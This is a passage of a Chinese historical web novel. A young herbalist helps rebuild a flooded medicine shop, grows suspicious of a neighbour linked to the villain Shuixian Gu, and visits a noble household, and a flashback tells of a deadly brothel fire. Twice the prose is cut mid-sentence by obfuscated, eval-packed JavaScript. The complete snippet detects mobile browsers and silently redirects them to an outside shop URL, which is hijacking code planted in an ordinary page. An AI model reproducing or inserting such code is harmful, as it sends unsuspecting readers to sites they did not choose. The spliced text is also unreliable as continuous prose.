这一句关切,让王氏强撑的坚强瞬间溃散,眼泪刷地流了下来:“没、没事……人还在,铺子还在,就是……”她环顾满目疮痍的铺面,哽咽难言,“就是这些药材……半辈子的心血,还有刚进的货,全、全泡了……” 静尘也红了眼眶,轻抚王氏的背:“王婶别难过,只要人平安,东西总能再置办起来的。” 正说着,张东家从后堂掀帘出来。他比王氏更显憔悴,头发白了大半,背也佝偻了几分,手里拿着一本湿了又干、皱巴巴的账册,见到许娇娇,眼中闪过一丝复杂的神色,有欣慰,也有苦涩。 “张伯。”许娇娇恭敬行礼。 张东家摆摆手,声音沙哑:“来了就好。铺子成这样,让你们见笑了。” “张伯千万别这么说。”许娇娇忙道,“水患无情,谁也没料到会如此严重。我和静尘师姐今日来,就是想看看有什么能帮忙的。” 张东家叹了口气,将账册放在尚算完好的桌角:“万大夫前日回老家了。他老家在湖州乡下,这次水灾也遭了殃,房子塌了半边,老母亲受了惊,一病不起。他递了话,说至少要等家里安顿好了才能回来。” 许娇娇心头一沉。万大夫医术老道,为人厚道,是张记的顶梁柱之一。他这一走,铺子里的人手就更紧了。 “廖大夫呢?”她问。 “廖大夫家里还好,就在城北,地势高,没怎么进水。”王氏擦了擦眼泪,接口道,“可他父亲年事已高,这次受了惊吓,也需要人照顾。这几日他都是家里铺子两头跑,累得够呛。今日一早就去城外采药了,说看看有没有被水冲出来还能用的草药。” 张东家补充道:“陈平那小子,我打发他去邻县各药材行转转,看能不能收些便宜的药材应急。铺子里现在只剩下阿福一个伙计,正忙着在后院晒那些还能救一救的药材。” 他顿了顿,看向许娇娇,眼中带着歉意:“娇杏,你前些日子受累了,本不该再劳动你。可眼下这情形……” “张伯,我既是铺子里的人,自然该出力。”许娇娇打断他,语气坚定,“药材鉴别、分拣、炮制,这些我都熟。静尘师姐也能帮忙做些细致的活计。” 静尘也点头:“东家,王婶,你们千万别客气。有什么我们能做的,尽管吩咐。” 王氏的眼泪又涌了出来,这次是感动的:“谢谢,谢谢你们……” 于是,三人不再多言,挽起袖子便开始忙碌。 许娇娇先仔细查看了铺内各处药材的受损情况。水泡过的药材,大多已霉变或药性流失,勉强晒干的也大多色泽暗淡、气味不正,不堪再用。只有少数存放在高处、密封较好的药材,如一些根茎类和矿物类药材,尚算完好。 她将还能用的药材一一拣出,吩咐阿福小心搬到后院继续晾晒通风。对于那些已明显变质报废的,则与静尘、王氏一起,用竹筐装起,准备集中焚烧处理——这是防止霉变药材滋生疫病传播的必要之举。 静尘心细,负责清理药柜抽屉。她将每个抽屉都仔细擦拭干净,曝晒消毒,又用艾草熏过,以防残留的湿气霉气污染新进的药材。 王氏强打精神,开始归整柜台和账目。泡过水的账册字迹模糊,她只能凭着记忆,一点点重新誊录。每写下一笔损失,她的手就颤抖一下,眼泪掉在纸上,晕开墨迹。 许娇娇则蹲在那堆待处理的废药前,一捧一捧地仔细翻检。偶尔,她会从中拣出一些虽已变色但或许尚存几分药性的,单独放在一边,准备等廖大夫回来后再做定夺。 “娇杏,”静尘走过来,低声道,“这些……真的都没用了吗?”她指着筐里那些曾经昂贵的药材,满脸痛惜。 许娇娇摇摇头,轻声道:“师姐,药材之道,首重性味。水浸霉变,性味已失,勉强入药,非但无效,反可能有害。张伯是明白人,这些道理他懂。” 只是懂归懂,心痛却是难免的。这些药材,是张东家半生心血,也是铺子安身立命的根本。 忙碌间,许娇娇问起张记今后的打算。 张东家正拿着锤子,费力地修理一张被水泡得变形的条凳,闻言停了手,苦笑道:“能怎么办?一步步来罢。先把铺子收拾出来,该修的修,该换的换。药材……只能慢慢再攒。好在老主顾们都体谅,知道咱们遭了灾,也没催逼。” 王氏在一旁哽咽道:“就是这重新进货的银钱……东家把能动的积蓄都拿出来了,可这次损失太大,恐怕……” 张东家瞪了她一眼:“妇道人家,说这些做什么!天无绝人之路,总会有办法的。” 许娇娇沉默不语。她知晓张记虽有些根基,但毕竟是小本经营,经此一劫,元气大伤是必然的。她摸了摸袖中沈家送来的那二十两银子——原本是打算留着添置些必需药材和医书的。此刻,她却有了别的想法。 午时,廖大夫背着药篓风尘仆仆地回来了。他看起来面庞比原先清瘦了些,此刻满脸疲惫,裤腿上还沾着泥点。 “廖大夫。”许娇娇上前见礼。 廖大夫见到她,眼中露出温和笑意:“许娘子来了。这些日子辛苦你了,仁心堂那边的事,我都听说了,做得好。” “廖大夫过奖。”许娇娇谦道,看向他的药篓,“采到药了吗?” 廖大夫摇摇头,将药篓放下:“城外也是一片狼藉,好药材早被水冲走了。只找到些车前草、马齿苋之类常见的,品相也不好。”他叹了口气,“这次水患,怕是整个江南道的药材收成都要受影响,往后药材价格,恐怕要涨。” 这话让众人心头更沉了几分。 简单用了些王氏让周厨娘准备的午饭——不过是清粥配咸菜,众人又继续忙碌。 许娇娇和廖大夫一起,将拣出的尚可一用的药材重新分类,记录在册。廖大夫见识广博,对药材鉴别颇有心得,不时指点许娇娇几句。许娇娇听得认真,偶有发问,也总能切中要害,让廖大夫暗自点头。 静尘和王氏则将铺子里里外外擦拭干净,开窗通风。潮湿的气味渐渐散去,取而代之的是阳光和艾草混合的清爽气息。 到了申时末,铺子总算有了些模样。废药已集中到后院角落,待晾干后焚烧。完好的药柜重新归位,空荡荡的抽屉等待着新药材的填充。地面打扫得一尘不染,破损的柜台也勉强修补起来,虽然依旧斑驳,却已能使用。 王氏煮了一锅绿豆汤,招呼大家歇息。 坐在擦拭干净的条凳上,喝着微甜的绿豆汤,看着窗外渐斜的日头,众人疲惫的脸上终于有了一丝松快。 王氏絮絮地说起自家的情况:“……幸亏咱们住的那片地势高,水只漫到门槛就停了。就是屋里潮得厉害,被褥衣物都发了霉,这几日天好,正紧着晾晒呢。”她说着,又红了眼,“就是可怜那些住低洼处的人家,听说城西杏花巷那边,淹死了十几口人……” 张东家低声呵斥:“说这些做什么,平白惹人难过。” 王氏擦了擦眼角,强笑道:“是是,不说了。总之,人还在,日子总要过下去。” 廖大夫缓声道:“这次灾情,朝廷赈济还算及时,钦差裴大人亲临坐镇,调度有方,疫病也控制得快。否则,死伤只怕更多。” 提到裴宴,许娇娇端着碗的手几不可察地顿了顿。她垂下眼睑,默默喝了一口绿豆汤。 静尘轻声道:“是啊,多亏了朝廷,也多亏了像娇杏、赵药师这样拼命的医者。” 众人又说了会儿话,眼见日头西斜,许娇娇和静尘便起身告辞。 王氏百般挽留,非要她们吃了晚饭再走:“家里虽没什么好东西,但炖个蛋、炒个青菜还是有的。你们忙了一整天,哪能空着肚子回去?” 许娇娇婉言谢绝:“王婶,您和张伯也累了一天,早些歇息罢。铺子刚收拾出来,明日还有得忙。我和师姐回去随便做些吃的就好,不必麻烦。” 张东家也道:“让她们回去吧。娇杏身子还没完全养好,静尘也累着了。” 王氏这才作罢,千恩万谢地将二人送到门口,又包了一小包自家晒的菜干,硬塞给静尘。 走在回柳枝巷的路上,夕阳将两人的影子拉得老长。街道两旁的店铺大多已上了门板,炊烟袅袅升起,空气中飘散着饭菜的香气。 静尘提着那包菜干,轻声道:“张东家和王婶,真是不容易。” 许娇娇“嗯”了一声,目光掠过街边那些正在重建家园的人们,心头沉甸甸的。天灾面前,个人的力量如此渺小。可也正是这些渺小的个体,在灾难过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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静尘显然也认出了崔娘子,她紧紧抓住许娇娇的手臂,有些吃惊:“娇杏,她、她怎么会和水仙姑在一起?她们认识?” 许娇娇没有回答,只是紧紧盯着巷子口的两人。 只见水仙姑似乎说完了话,从袖中掏出一个小布包,塞进崔娘子手中。崔娘子犹豫了一下,四下张望一番,才快速将布包藏进怀里。 两人又说了几句,水仙姑便转身匆匆离去,身影很快消失在街角。 崔娘子独自在原地站了片刻,左右看了看,这才低着头,快步往柳枝巷的方向走去。 许娇娇和静尘躲在阴影里,一动不敢动,直到崔娘子的身影也消失在视线中,才缓缓吐出一口气。 夕阳完全沉入了远山,暮色四合,小巷里昏暗下来。 静尘声音里满是疑虑:“娇杏,她们……是不是冲着我们来的? 崔娘子和水仙姑是不是早就认识?” 许娇娇强迫自己冷静下来。她深吸了几口微凉的空气,压下心头的疑惑。 “师姐,先别慌。”她握住静尘冰凉的手,低声道,“我们还不能确定。也许只是巧合,崔娘子恰好与水仙姑是旧识。” 不过,那水仙姑是什么人?心狠手辣,与王大官人勾结,做着见不得人的勾当。她突然出现在此地,与一个看似普通的邻居妇人私下会面,还给了对方东西…… 这绝不是寻常的走亲访友。 崔娘子收下布包时那谨慎的神情,多少都有些不合常理。 他们是想做什么?是知道她如今在柳枝巷,想找机会对她下手?还是另有所图? “娇杏,我们现在怎么办?”静尘有些六神无主,“要不要报官?或者……告诉那个钦差裴大人?” 提到裴宴,许娇娇心头又是一动。若在平时,她或许会考虑借助官府的势力。可眼下,裴宴身为钦差,正忙于灾后重建的事。再说,她和他也没多熟。况且,她手中并无确凿证据,仅凭水仙姑与崔娘子私下见面,根本无法证明什么,反而可能打草惊蛇。 更让她顾虑的是,若将此事捅出去,势必会牵扯出她的身世、水月庵的肮脏勾当,甚至可能暴露她身上那些无法解释的秘密。在眼下这个敏感时期,这无异于引火烧身。 “暂时不要声张。”许娇娇沉声道,语气是前所未有的凝重,“师姐,我们只当什么都没看见。回去之后,一切如常,莫要让崔娘子察觉我们已经发现了她与水仙姑的关系。” “可是……”静尘急道,“她们就在隔壁,万一要对我们不利……” “正因她们在隔壁,我们才更要小心。”许娇娇目光锐利,“敌暗我明,轻举妄动只会让自己陷入被动。如今我们在明处,她们在暗处,我们不知道她们究竟想做什么,有什么布置。盲目行动,只会暴露自己。” 她顿了顿,继续道:“从现在起,我们要加倍小心。暗中关注都有谁与崔家来往,要保持距离,既不过分亲近,也不刻意疏远,以免引起怀疑。” 静尘认真听着,连连点头,“我明白。我会和静心也说一声,让她也小心些。” “嗯。”许娇娇抬头望向柳枝巷的方向,暮色中,那一片屋舍的轮廓模糊而安静,仿佛什么都不会发生。 “走吧,师姐。”她轻声道,挽起静尘的手臂,“天快黑了,我们回家。” 两人并肩走出小巷,融入渐浓的暮色中。 55. 第55章 邻居崔娘子 回到柳枝巷的小院时,天已完全黑透。 巷子里家家户户亮着灯火,窗纸上映出忙碌的人影,锅铲碰撞声、说笑声隐约可闻。寻常的市井烟火气,此刻却让许娇娇心头蒙上一层阴翳。 隔壁崔家的窗户也透着光,安静得很,听不见什么动静。 “娇杏,”静尘闩好院门,转过身来,脸上忧色未散,“你说那水仙姑……到底想做什么?她会不会已经知道你在这里?” “八成是。”许娇娇将药箱放在堂屋桌上,声音平静得近乎漠然,“王大官人在归平县手眼通天,那庆和堂也是王大官人的店铺,她通过王大官人打听到我们的下落。那是易如反掌,只是……” 她顿了顿,走到窗边,轻轻掀开一条缝隙,望向隔壁那扇亮着灯的窗。 “只是我不明白,她们为何不直接动手,反而要绕这么大个圈子,让崔娘子搬来做邻居。”许娇娇眉头微蹙,“若真想报复,找几个泼皮无赖,或是像前两次那样设计陷害,岂不更直接?” 静尘走到她身边,低声道:“会不会是……忌惮沈府?” “或许。”许娇娇放下窗扇,转身坐下,“我救过沈家小娘子,又治好了沈谦,沈府对我至少面上是客气的。她们若明着动手,难免要与沈府对上。王大官人再嚣张,也不敢轻易开罪沈家这样的门第。” “那她们让崔娘子搬来,是想暗地里……” “监视,或是寻找机会。”许娇娇接道,“崔娘子若只是个普通妇人,自然最好。若不是……”她抬眼看向静尘,“师姐,这几日劳你多留意隔壁的动静。看看都有谁和她们来往,都一一记在心里。但要做得自然,莫要刻意。” “我晓得。”静尘点头,“静心那边……” “也跟她说一声,但要叮嘱她,莫要表露出来。”许娇娇想了想,“静心性子直,藏不住事,就说,我最近惹了些麻烦,要她多加小心,但具体什么事,先别和她细说。” 静尘会意:“好。” 正说着,院门又被敲响了。 两人对视一眼,静尘扬声问:“谁呀?” “是我,刘婶!”门外传来刘寡妇的声音,“给娇杏送点腌菜,今日刚启坛的!” 静尘松了口气,看向许娇娇。许娇娇点点头,起身去开门。 刘寡妇端着个粗瓷碗站在门外,里头是油汪汪的腌萝卜,切得细细的,撒着芝麻,香气扑鼻。 “快尝尝,今年新腌的,脆着呢!”刘寡妇笑着将碗递过来。 许娇娇接过,道了谢,顺口问:“刘婶吃饭了没?要不进来坐坐?” “吃过了吃过了。”刘寡妇摆摆手,目光却往隔壁瞟了一眼,压低声音,“哎,你们刚才回来时,瞧见崔家娘子没?” 许娇娇心头一动:“怎么?” “她今日下午出去了,傍晚才回来。”刘寡妇神秘兮兮道,“回来时脸色不大好,像是哭过,眼睛红红的。我问她怎么了,她支支吾吾,只说家里有点事。可我瞧她那样子……” 刘寡妇顿了顿,声音更低了:“像是受了什么委屈。” 许娇娇和静尘交换了个眼神。 “许是家里真有什么事罢。”许娇娇淡淡道,“家家有本难念的经。” “也是。”刘寡妇叹口气,“这崔娘子看着也像个和善人。她那男人崔旺倒是瞧着有几分精明,莫不是和她男人有了龌龊? “许是吧!”许娇娇敷衍了几句,刘寡妇便告辞了。 送走刘寡妇,许娇娇端着那碗腌菜回到堂屋,若有所思。 “看来崔娘子与水仙姑见面,并非心甘情愿。”她轻声道,“刘婶说她眼睛红红,像是哭过。若她真是水仙姑的人,见面后不该是这副模样。” 静尘点头:“我也觉得。她收下布包时,那神情……更像是被迫的。” “被迫……”许娇娇喃喃重复,“水仙姑手里,怕是捏着她的什么把柄。” 夜色渐深,两人简单用了晚饭,便各自歇下。 许娇娇躺在榻上,却毫无睡意。 窗外月明星稀,秋虫唧唧。她睁着眼,将这几月来的种种梳理了一遍。 水仙姑、王大官人、偷方子、妖女谣言、水患、疫病、沈谦、裴宴、崔娘子…… 一桩桩,一件件,看似杂乱,却隐隐有根线串着。 这根线,就是她许娇娇。 她就像投入湖心的石子,激起的涟漪,一圈圈荡开,牵扯出湖面下暗藏的漩涡。 而她身世的秘密,就是漩涡的中心。 父亲许大郎究竟是谁?为何会隐居落溪村?他的死真是意外吗?母亲柳氏又为何紧随而去? 这些问题,她自己也没有答案。 前世的记忆像一场模糊的梦,今生的经历又处处透着诡异。有时候,她甚至分不清自己究竟是谁。 “不管我是谁,”她望着帐顶,轻声自语,“这条路,总要走下去。” 次日,许娇娇依旧早早起身。 静尘和静心已在厨房忙活,粥香弥漫。见她进来,静心笑着招呼:“娇杏,今日有菜包子,刘婶昨日送的腌菜正好做馅!” “好。”许娇娇净了手,帮着摆碗筷。 饭后,许娇娇照例准备去张记。铺子刚收拾出来,还有许多事要做。 走出院门时,正巧遇见崔娘子拎着菜篮子从隔壁出来。 “许娘子。”崔娘子见到她,微微一怔,随即露出个温和的笑容,“这么早出门?” “去铺子里帮忙。”许娇娇还以一笑,目光不着痕迹地扫过对方。 崔娘子今日穿了身半旧的豆青色衣裙,头发梳得整整齐齐,脸上薄施脂粉,掩去了眼下的憔悴,但仔细看,眉宇间仍有一丝挥之不去的愁绪。 “许娘子在张记坐诊?”崔娘子问,语气自然。 “是,跟着张东家学些本事。”许娇娇答得谦逊。 两人并肩往巷口走,有一搭没一搭地说着闲话。 崔娘子话不多,多是许娇娇问一句,她答一句。说到自家情况,也只简单道:“外子在码头做些伙计,女儿在家做些针线,日子还过得去。” 走到巷口,许娇娇要往西去张记,崔娘子则要去东边的菜市。 “崔娘子慢走。”许娇娇客气道。 “许娘子也慢走。”崔娘子点点头,转身离去。 许娇娇站在原地,看着她的背影消失在人群中,眉头微蹙。 这崔娘子,看起来确实只是个寻常妇人。若非昨日亲眼所见,她怎么也想不到,对方会与水仙姑有牵扯。 到了张记,铺子里已有了生气。 廖大夫正在坐诊,见许娇娇来了,含笑招呼:“许娘子今日气色好些了。” “廖大夫早。”许娇娇福了一礼,看向柜台后,“张伯呢?” “在后院清点药材。”廖大夫道,“陈平从邻县回来了,带回些消息,东家正与他说话。” 许娇娇往后堂去,果然见张东家和陈平站在院中,面前摊着几个麻袋。 “张伯,陈大哥。”她上前招呼。 张东家回头,脸上带着几分喜色:“娇杏来了。陈平这回可立了功,从苏州带回来一批药材,虽不是顶好的,但品相尚可,价格也公道。” 陈平挠挠头,憨厚地笑:“也是运气好。苏州那边的药材行还有些存货。我照着东家给的单子,能买的都买了些。” 许娇娇上前查看。麻袋里多是些常用药材:柴胡、黄芩、茯苓、甘草……虽不如以往张记的药材品相好,但炮制得法,药性应该不差。 “陈大哥辛苦了。”她由衷道。 “不辛苦不辛苦。”陈平连连摆手,“铺子能重新开起来,咱们都有饭吃,比什么都强。” 张东家拍拍陈平的肩:“去歇着吧,这一路奔波,累坏了。” 陈平应声去了。 张东家转头对许娇娇道:“有了这批药材,铺子勉强能撑些时日。只是……”他叹了口气,“好药材难寻,价格也涨得厉害。往后这生意,怕是难做了。” 许娇娇沉默片刻,从袖中取出一个布包,递过去。 “张伯,这个您先拿着。” 张东家接过,打开一看,里头是十两银子。他脸色一变:“娇杏,你这是做什么?快收回去!” “张伯,”许娇娇按住他要推回来的手,语气诚恳,“这银子不是我的,是沈府感念我救治灾民,赠我添置药材的。如今铺子有难,正是用钱的时候。您先拿着周转,等铺子缓过来了,再还不迟。” 张东家眼眶微红,声音哽咽:“你这孩子……你自己也不宽裕,前些日子还受了那么多委屈……” “都过去了。”许娇娇微微一笑,“咱们现在最要紧的,是把铺子撑起来。廖大夫、万大夫、陈大哥、王婶,还有那么多老主顾,都指着张记呢。” 张东家攥紧了那包银子,重重点头:“好,好……这银子,算我借的。等铺子好了,一定还你。” 正说着,前堂传来王氏的声音:“东家,许娘子,有客人找!” 两人对视一眼,往前堂去。 铺子里站着个衣着体面的中年妇人,身后跟着个小丫鬟。见许娇娇出来,妇人眼睛一亮,上前福礼:“许娘子,老身是沈府老夫人跟前的赵嬷嬷。老夫人听闻娘子身子大安了,特意让老身过来,请娘子过府一叙。” 许娇娇心头微动。沈老夫人亲自相请,这面子可不小。 她看向张东家。张东家忙道:“既是老夫人相请,你快去。铺子里有我们呢。” 许娇娇这才对赵嬷嬷还礼:“有劳嬷嬷跑一趟。容我稍作收拾。” “娘子请便。”赵嬷嬷笑容可掬。 许娇娇回后堂换了身干净的衣裳,重新梳了头,这才随赵嬷嬷出了门。 沈府的马车等在巷口,青帷小车,朴素却不失体面。 一路上,赵嬷嬷与许娇娇说着闲话,多是问些日常起居、饮食调理,态度亲切自然。 许娇娇一一答了,心中却不敢松懈。沈老夫人突然相请,绝不会只是叙旧这么简单。 马车从侧门入府,径直往后院去。 寿安堂里,沈老夫人正坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280550|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在临窗的榻上,手里捻着佛珠,闭目养神。听见脚步声,她睁开眼。 许娇娇上前,规规矩矩行了大礼:“小女许娇杏,拜见老夫人。” “起来吧,坐。”沈老夫人声音温和,指了指下首的绣墩。 许娇娇谢过,坐了半边身子。 丫鬟奉上茶点,是上好的龙井和几样精致的江南点心。 沈老夫人打量着她,半晌,才缓缓开口:“前些日子,委屈你了。” 许娇娇垂眸:“老夫人言重了。民女分内之事,不敢言委屈。” “外头的谣言,我都听说了。”沈老夫人端起茶盏,轻轻撇着浮沫,“那些混账话,你不必往心里去。沈家不是不明事理的人,你救了宁儿,又救了谦儿,这份恩情,我们记着。” “老夫人厚爱,民女愧不敢当。” 沈老夫人放下茶盏,看着她:“今日叫你来,一是想当面谢谢你,二是有几句话,想与你说说。” 许娇娇抬起眼,神情恭谨:“老夫人请讲。” “你是个聪明孩子,有些话,我便直说了。”沈老夫人缓缓道,“你的身世,我派人查过。父母早亡,孤苦无依,能走到今日,不易。” 许娇娇心头一紧,面上却依旧平静。 “你有医术,有心性,这是你的造化。”沈老夫人话锋一转,“可这世道,对女子本就苛刻。你一个孤女,无依无靠,行医济世,更要处处谨慎。” 她顿了顿,目光如炬:“前些日子的谣言,虽已平息,可难保没有下一次。你如今在菰城,有了些名声,也惹了些眼。往后行事,更要如履薄冰。” 许娇娇听懂了。沈老夫人这是在提醒她,也是告诫她——沈家可以护她一时,却护不了一世。她自己的路,终究要自己走。 “小女明白。”她低声道,“谢老夫人教诲。” 沈老夫人眼中闪过一丝赞赏:“你明白就好。今日叫你过来,还有一事。” 她示意赵嬷嬷。赵嬷嬷从内间取出一个锦盒,打开,里头是一对赤金嵌宝的镯子,光华璀璨。 “这是我的心意,你收下。”沈老夫人道,“不算酬谢,只当是长辈给晚辈的见面礼。” 许娇娇忙起身:“老夫人,这太贵重了,小女不能收。” “收下吧。”沈老夫人语气温和却不容拒绝,“你救了谦儿,便是救了我半条命。这对镯子,你留着,将来……总有用得着的时候。” 话说到这个份上,许娇娇只得再次谢过,收下锦盒。 又说了会儿话,多是沈老夫人问,许娇娇答。问到日后打算,许娇娇只道想在张记继续学医,并无他求。 沈老夫人点点头,未再多言。 临走时,赵嬷嬷送许娇娇出府,低声道:“老夫人很喜欢娘子。只是府里人多口杂,有些事,娘子心里有数就好。” 许娇娇了然:“谢嬷嬷提点。” 回到柳枝巷时,已是午后。 静尘和静心正在院中晾晒药材,见她回来,忙迎上来。 “怎么样?沈老夫人没为难你吧?”静心关切地问。 许娇娇摇摇头,将锦盒递给静尘:“老夫人赏的。” 静尘打开一看,倒吸一口凉气:“这……太贵重了。” “收起来吧。”许娇娇轻声道,“老夫人这是在告诉我,沈家认我这份情,但也仅止于此。” 静尘会意,将锦盒收进里屋。 许娇娇走到井边,舀水洗脸。冰凉的井水让她精神一振。 沈老夫人的话还在耳边回响。 如履薄冰。 是啊,前有狼,后有虎。水仙姑在暗处窥伺,崔娘子就在隔壁,庆和堂王大官人那边恐怕也不会善罢甘休。而她身上那些解不开的谜团,随时可能成为催命符。 她能依靠的,只有自己。 许娇娇擦干脸,望着院中那丛开得正盛的月季。 秋阳高照,花开似火。 夜深了,崔家厢房里还亮着灯。 崔娘子坐在床沿,手里攥着那个水仙姑给的小布包,指尖发白。 布包里是几块碎银,还有一张字条。字条上写着:“还记得十年前的那场大火吗?现在我只需要你再照做一次,往后,两不相欠。” 她盯着那行字,眼泪无声滑落。 窗外传来更鼓声,三更天了。 崔娘子擦干泪,将布包塞进床板下的暗格里,吹熄了灯。 黑暗中,她睁着眼,久久无法入睡。 十年了,她以为那些噩梦已经远离了自己,但,今日遇到了水娘,她发现,不管她走到哪里,那些噩梦从没远离。 她想起许娇娇那张清秀沉静的脸,在她眼前晃来晃去。 那么小的年纪,那么沉静的眼神,怎么看都不像水娘口中那个“心机深沉、妖孽附体”的祸害。 可是…… 眼前又浮现水娘那张摇曳的脸,和从她嘴里吐出的话语:“怎么,十年未见,以为攀上了高枝就不认识我了。别忘了,当初可是你放的火,玉娘。”崔娘子闭上眼,泪水又涌了出来。 56. 第56章 水仙姑的回忆 同一片清冷的月色,透过水月庵禅房斑驳的窗棂,在地上投下疏离的碎影。烛火在铜灯台里摇曳不定,将墙面上悬挂的观音像映得忽明忽暗。那观音低眉垂目,慈悲的面容在跳动的光影中,竟显出几分诡异的漠然。 水仙姑并未就寝。 她独坐妆台前,对着一面早已晦暗的铜镜,慢条斯理地梳理着泼墨般的长发。镜面模糊,映出一张年过三旬的脸——眉眼间依稀可见旧日的精致轮廓,皮肤因常年敷粉而显出不太自然的白皙,只是眼角细纹虽被脂粉精心遮掩,却仍在不经意间泄出岁月的痕迹。这张皮囊尚存几分旧日颜色,只是那双眸子,即便在无人窥见的深夜里,也闪烁着淬了毒般的精光与挥之不去的戾气,不见半分出家人应有的慈悲与宁静。 指尖探入梳妆匣底层,触到一抹冰凉坚硬的物事。她动作微顿,随即将其取出。那是一支金簪。簪身沉甸甸的,簪头以极细金丝盘绕成海棠模样,花瓣层叠,蕊心嵌着一粒小小的红宝,即便在昏暗的烛光下,也流转着内敛而奢华的光泽。工艺繁复精巧,绝非市井凡品,更不是水月庵这种地方该有的东西。 这是她当年仓皇离京时,贴身带出的最值钱物件。 水仙姑,或者该叫她曾经的名字,水娘。她盯着掌心的金簪,指尖缓缓抚过冰凉的金丝花瓣。这支簪子,是那夜戴明书随身携带的,那夜仓皇间,她瞧见戴明书的胸前露来这支金灿灿的簪子,她想,这恐怕就是戴明书要送给她的,只是那夜他酒醉的厉害,没来得及拿出来。既然是送给她的,那么就是她的不是吗! 那时她还是翠玉楼的头牌,一曲清歌价值百金,多少达官贵人、风流才子为博她一笑一掷千金。这支簪子,不过是那些浮华岁月里,微不足道的一件纪念品罢了。 可如今,却成了她与那段过往之间,唯一的、也是最后的联系。 “崔娘子……”她喃喃念出这三个字,唇角缓缓勾起,扯出一个毫无温度的冷笑。 罗玉娘,如今的崔娘子。当年在翠玉楼,不过是个伏低做小、连给她端洗脚水都需看眼色的粗使丫鬟。模样算得上清秀,性子看着温顺怯懦,说话总是细声细气,见人就低头,一副受气包的模样。水娘那时心高气傲,哪里会将这么个小丫鬟放在眼里?不过是个可以随意使唤、随意打骂的下人罢了。 谁能想到呢? 水娘对着铜镜,将金簪缓缓插回发间。冰凉的触感贴着头皮,让她混乱的思绪稍微清明了一些。 十年前,忠勤伯府的戴明书戴衙内慕名来翠玉楼。那时她风头正盛,是京中红极一时的名妓,寻常官宦子弟想见她一面都难。忠勤伯府虽有些权势,但戴明书在京中名声极差。谁不知道那是个以折磨女子为乐的纨绔?死在他手里的丫鬟、娼妓,怕是不下五指之数。 鸨母那个见钱眼开的贱人,收了戴衙内五百两银子,便逼着她去伺候。水娘哪里肯?她虽沦落风尘,却也有自己的傲气与算计。这些年周旋于各色男人之间,她早就摸出了一套生存法则:可以虚与委蛇,可以逢场作戏,但绝不能真把自己交到戴明书那种人手里。 可她推脱不掉。 翠玉楼的规矩,鸨母的话就是天。她若敢不从,有的是法子让她生不如死。那些不听话的姑娘,最后不是被卖到最低等的窑子,就是莫名其妙病逝,这种事,她见得多了。 既然推脱不掉,那就只能想法子。 那夜,戴明书带着一身酒气闯进她的房间。水娘强压下心头的厌恶与恐惧,换上娇媚的笑容,迎了上去。她使尽浑身解数,一杯接一杯地劝酒,心里盘算着将这畜生灌醉,让他无力作恶便好。 可奇怪的是,戴明书不过喝了两三杯,就瘫倒在榻上,不省人事。 水娘当时还暗自庆幸,以为是自己运气好,或是这衙内本就酒量浅。她看着戴明书那张因醉酒而泛红的脸,心里闪过无数念头……要不要趁此机会,干脆结果了这个祸害?可忠勤伯府势大,若追查起来,她必死无疑。 正犹豫间,门外忽然传来喧哗声。 “走水了!走水了!” 水娘心头一惊,冲到门边,刚拉开门缝,一股灼热的气浪便扑面而来!走廊上火光冲天,浓烟滚滚,木料燃烧的噼啪声、人们的哭喊声、奔跑声混成一片,恍如地狱。 她吓得魂飞魄散,慌忙关上门,转身去摇戴明书:“衙内!衙内醒醒!走水了!” 可戴明书如同死了一般,任凭她如何摇晃、呼喊,就是一动不动。水娘急得满头大汗,伸手去探他鼻息,微弱,但还有气。可一个醉得不省人事的壮年男子,她如何拖得动? 火势蔓延得极快,不过片刻工夫,门缝里已钻入浓烟,呛得她连连咳嗽。房间开始发热,窗纸被烤得焦黄卷曲。水娘知道不能再等了,她冲到窗边,推开窗户——楼下也是火光一片,但好在窗下是个堆放杂物的角落,火势尚未蔓延过来。 她回头看了一眼榻上的戴明书,咬了咬牙。罢了,自身难保,哪还顾得上别人?这祸害死了便死了,也算为民除害! 水娘将身上繁复的衣裙下摆撕开,绾起长发,踩上窗台正要往下跳,忽然想起什么,又折返到妆台前,胡乱抓了几件最值钱的首饰塞进怀里,刚要扭头,就看到了那支海棠金簪,她返回身一把抓起,就在她准备再次翻窗时,房门突然“砰”的一声被撞开,一个纤细的人影冲了进来,却是她房里的粗使丫鬟,那个脑子不太灵光、常被其他丫鬟欺负的随儿。 随儿满脸惊恐,看见水娘就要扑过来:“姑娘!姑娘救我!外面全是火……” 水娘心头烦躁,此刻哪还顾得上这个傻丫鬟?她一把推开随儿:“自己逃命去!” 可随儿死死拽着她的衣袖,哭喊着不肯放手。浓烟越来越重,水娘被呛得眼泪直流,视线开始模糊。她瞥见妆台上那个沉重的铜香炉,心一横,抓起香炉,狠狠砸在随儿后脑上! 随儿闷哼一声,软软倒了下去。 水娘喘着粗气,看着地上昏迷的丫鬟,又看看榻上不省人事的戴明书,忽然生出一个念头——若这两人都死在这场大火里,而她自己侥幸逃脱,那么…… 她眼中闪过一抹狠厉,迅速扒下随儿的外衫套在自己身上,又将随儿拖到榻边,让她伏在戴明书身旁。做完这些,她才翻身出窗,顺着窗棂往下爬。 手臂被灼热的木料烫出水泡,长发被火星燎焦,后颈处一阵剧痛——定是被掉落的火苗灼伤了。她咬牙忍着,拼尽最后力气跳到地面,踉跄着逃离火海。 混乱中,她不敢走正门,跌跌撞撞绕到翠玉楼后巷的角门。角门虚掩着,她正要推门出去,却透过门缝,看见了让她永生难忘的一幕—— 后巷的阴影里,站着一个熟悉的身影。 罗玉娘。 